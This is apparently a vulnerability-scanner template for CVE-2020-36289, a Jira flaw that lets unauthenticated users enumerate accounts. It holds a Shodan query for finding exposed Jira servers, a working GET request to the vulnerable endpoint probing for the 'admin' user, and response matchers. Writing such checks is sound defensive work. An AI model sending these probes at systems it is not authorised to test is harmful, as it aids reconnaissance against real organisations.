id: CVE-2020-36289

info:
  name: Atlassian Jira Unauth User Enumeration
  author: dhiyaneshDk
  severity: medium
  description: Affected versions of Atlassian Jira Server and Data Center allow an unauthenticated user to enumerate users via an Information Disclosure vulnerability in the QueryComponentRendererValue!Default.jspa endpoint. The affected versions are before version 8.5.13, from version 8.6.0 before 8.13.5, and from version 8.14.0 before 8.15.1.
  reference:
    - https://twitter.com/ptswarm/status/1402644004781633540
    - https://nvd.nist.gov/vuln/detail/CVE-2020-36289
    - https://jira.atlassian.com/browse/JRASERVER-71559
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N
    cvss-score: 5.3
    cve-id: CVE-2020-36289
    cwe-id: CWE-200
  metadata:
    shodan-query: http.component:"Atlassian Jira"
  tags: cve,cve2020,jira,atlassian,unauth

requests:
  - method: GET
    path:
      - '{{BaseURL}}/secure/QueryComponentRendererValue!Default.jspa?assignee=user:admin'
      - '{{BaseURL}}/jira/secure/QueryComponentRendererValue!Default.jspa?assignee=user:admin'

    matchers-condition: and
    matchers:
      - type: status
        status:
          - 200

      - type: word
        words:
          - 'rel=\"admin\"'

      - type: word
        words:
          - 'application/json'
        part: header